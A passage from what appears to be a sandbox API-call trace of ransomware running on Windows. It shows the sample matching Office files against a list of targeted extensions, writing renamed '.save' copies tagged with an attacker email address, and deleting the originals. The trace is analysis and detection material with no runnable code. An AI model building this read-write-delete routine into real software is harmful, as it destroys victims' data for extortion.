(lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0060.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.670] lstrlenW (lpString=".doc") returned 4 [0060.670] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.670] lstrlenW (lpString=".docx") returned 5 [0060.670] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.670] lstrlenW (lpString=".pdf") returned 4 [0060.670] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.670] lstrlenW (lpString=".xls") returned 4 [0060.670] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.670] lstrlenW (lpString=".xlsx") returned 5 [0060.670] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.670] lstrlenW (lpString=".ppt") returned 4 [0060.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.670] lstrlenW (lpString=".zip") returned 4 [0060.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.670] lstrlenW (lpString=".rar") returned 4 [0060.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.670] lstrlenW (lpString=".bz2") returned 4 [0060.671] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString=".7z") returned 3 [0060.671] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.671] lstrlenW (lpString=".dbf") returned 4 [0060.671] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.671] lstrlenW (lpString=".1cd") returned 4 [0060.671] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.671] lstrlenW (lpString=".jpg") returned 4 [0060.671] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.671] lstrlenW (lpString=".doc") returned 4 [0060.671] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString=".docx") returned 5 [0060.671] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.671] lstrlenW (lpString=".pdf") returned 4 [0060.671] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString=".xls") returned 4 [0060.671] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.671] lstrlenW (lpString=".xlsx") returned 5 [0060.671] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.672] lstrlenW (lpString=".ppt") returned 4 [0060.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.672] lstrlenW (lpString=".zip") returned 4 [0060.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.672] lstrlenW (lpString=".rar") returned 4 [0060.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.672] lstrlenW (lpString=".bz2") returned 4 [0060.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.672] lstrlenW (lpString=".7z") returned 3 [0060.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.672] lstrlenW (lpString=".dbf") returned 4 [0060.672] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.672] lstrlenW (lpString=".1cd") returned 4 [0060.672] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0060.672] lstrlenW (lpString=".jpg") returned 4 [0060.672] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.672] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.673] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53 [0060.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.673] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1261) returned 1 [0060.673] CloseHandle (hObject=0x368) returned 1 [0060.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.673] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.674] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.674] GetLastError () returned 0x0 [0060.674] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.676] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.677] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.677] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.678] SetEndOfFile (hFile=0x2f4) returned 1 [0060.678] CloseHandle (hObject=0x2f4) returned 1 [0060.679] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.679] SetEndOfFile (hFile=0x368) returned 1 [0060.680] CloseHandle (hObject=0x368) returned 1 [0060.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0060.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.681] lstrlenW (lpString=".doc") returned 4 [0060.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.681] lstrlenW (lpString=".docx") returned 5 [0060.682] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.682] lstrlenW (lpString=".pdf") returned 4 [0060.682] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString=".xls") returned 4 [0060.682] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString=".xlsx") returned 5 [0060.682] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.682] lstrlenW (lpString=".ppt") returned 4 [0060.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.682] lstrlenW (lpString=".zip") returned 4 [0060.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.682] lstrlenW (lpString=".rar") returned 4 [0060.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString=".bz2") returned 4 [0060.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString=".7z") returned 3 [0060.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.682] lstrlenW (lpString=".dbf") returned 4 [0060.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.682] lstrlenW (lpString=".1cd") returned 4 [0060.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.682] lstrlenW (lpString=".jpg") returned 4 [0060.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.683] lstrlenW (lpString=".doc") returned 4 [0060.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString=".docx") returned 5 [0060.683] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.683] lstrlenW (lpString=".pdf") returned 4 [0060.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString=".xls") returned 4 [0060.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString=".xlsx") returned 5 [0060.683] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.683] lstrlenW (lpString=".ppt") returned 4 [0060.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.683] lstrlenW (lpString=".zip") returned 4 [0060.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.683] lstrlenW (lpString=".rar") returned 4 [0060.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString=".bz2") returned 4 [0060.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.683] lstrlenW (lpString=".7z") returned 3 [0060.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.683] lstrlenW (lpString=".dbf") returned 4 [0060.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.684] lstrlenW (lpString=".1cd") returned 4 [0060.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104 [0060.684] lstrlenW (lpString=".jpg") returned 4 [0060.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.684] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.684] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0060.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.684] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3754) returned 1 [0060.685] CloseHandle (hObject=0x368) returned 1 [0060.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.685] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.685] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.685] GetLastError () returned 0x0 [0060.685] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xeaa, lpOverlapped=0x0) returned 1 [0061.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xeb0, lpOverlapped=0x0) returned 1 [0061.164] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.164] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0061.164] SetEndOfFile (hFile=0x2f4) returned 1 [0061.164] CloseHandle (hObject=0x2f4) returned 1 [0061.165] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.165] SetEndOfFile (hFile=0x368) returned 1 [0061.166] CloseHandle (hObject=0x368) returned 1 [0061.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0061.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0061.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.166] lstrlenW (lpString=".doc") returned 4 [0061.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".docx") returned 5 [0061.166] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.166] lstrlenW (lpString=".pdf") returned 4 [0061.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".xls") returned 4 [0061.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.166] lstrlenW (lpString=".xlsx") returned 5 [0061.166] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.166] lstrlenW (lpString=".ppt") returned 4 [0061.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString=".zip") returned 4 [0061.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.167] lstrlenW (lpString=".rar") returned 4 [0061.167] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString=".bz2") returned 4 [0061.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString=".7z") returned 3 [0061.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString=".dbf") returned 4 [0061.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString=".1cd") returned 4 [0061.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString=".jpg") returned 4 [0061.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.167] lstrlenW (lpString=".doc") returned 4 [0061.167] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString=".docx") returned 5 [0061.167] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0061.167] lstrlenW (lpString=".pdf") returned 4 [0061.167] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString=".xls") returned 4 [0061.167] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.167] lstrlenW (lpString=".xlsx") returned 5 [0061.167] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0061.167] lstrlenW (lpString=".ppt") returned 4 [0061.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.168] lstrlenW (lpString=".zip") returned 4 [0061.168] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.168] lstrlenW (lpString=".rar") returned 4 [0061.168] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.168] lstrlenW (lpString=".bz2") returned 4 [0061.168] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.168] lstrlenW (lpString=".7z") returned 3 [0061.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.168] lstrlenW (lpString=".dbf") returned 4 [0061.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.168] lstrlenW (lpString=".1cd") returned 4 [0061.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0061.168] lstrlenW (lpString=".jpg") returned 4 [0061.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.168] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.168] lstrlenW (lpString="AG00011_.GIF") returned 12 [0061.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.169] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=7216) returned 1 [0061.169] CloseHandle (hObject=0x368) returned 1 [0061.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0061.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.169] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.170] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.170] GetLastError () returned 0x0 [0061.170] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1c30, lpOverlapped=0x0) returned 1 [0061.171] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1c40, lpOverlapped=0x0) returned 1 [0061.172] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: 